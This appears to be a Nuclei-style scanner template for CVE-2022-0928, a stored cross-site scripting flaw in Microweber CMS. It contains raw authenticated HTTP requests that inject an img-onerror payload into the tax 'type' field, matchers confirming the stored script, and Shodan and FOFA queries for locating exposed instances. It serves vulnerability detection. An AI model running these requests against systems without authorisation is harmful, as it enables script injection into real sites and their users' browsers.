70 lines
2.8 KiB
YAML
70 lines
2.8 KiB
YAML
id: CVE-2022-0928
|
|
|
|
info:
|
|
name: Microweber < 1.2.12 - Stored Cross-Site Scripting
|
|
author: amit-jd
|
|
severity: medium
|
|
description: |
|
|
Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability via the Type parameter in the body of POST request, which is triggered by Add/Edit Tax.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
|
|
remediation: |
|
|
Upgrade Microweber to version 1.2.12 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://huntr.dev/bounties/085aafdd-ba50-44c7-9650-fa573da29bcd
|
|
- https://github.com/microweber/microweber/commit/fc9137c031f7edec5f50d73b300919fb519c924a
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0928
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2022-0928
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00144
|
|
epss-percentile: 0.50194
|
|
cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: microweber
|
|
product: microweber
|
|
shodan-query:
|
|
- http.favicon.hash:780351152
|
|
- http.html:"microweber"
|
|
fofa-query:
|
|
- body="microweber"
|
|
- icon_hash=780351152
|
|
tags: cve2022,cve,authenticated,huntr,xss,microweber,cms
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /api/user_login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username={{username}}&password={{password}}
|
|
- |
|
|
POST /api/shop/save_tax_item HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
Referer: {{BaseURL}}/admin/view:settings
|
|
|
|
id=0&name=vat1&type="><img+src%3dx+onerror%3dalert(document.domain)>&rate=10
|
|
- |
|
|
POST /module HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
Referer:{{BaseURL}}/admin/view:settings
|
|
|
|
class=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_3,"<img src=x onerror=alert(document.domain)></td>")'
|
|
- 'contains(header_3,"text/html")'
|
|
- 'status_code_2 == 200 && status_code_3 == 200'
|
|
condition: and
|
|
# digest: 4a0a0047304502206e090977c24d875c8b6221bd8ed20bc0111fce3a0eb4b70117706d02dc21591002210099fe65d9c7e83e1d4a93f6e5ec4f1cbacb3fbe41deddb3d2805f76bdb837b12c:922c64590222798bb761d5b6d8e72950 |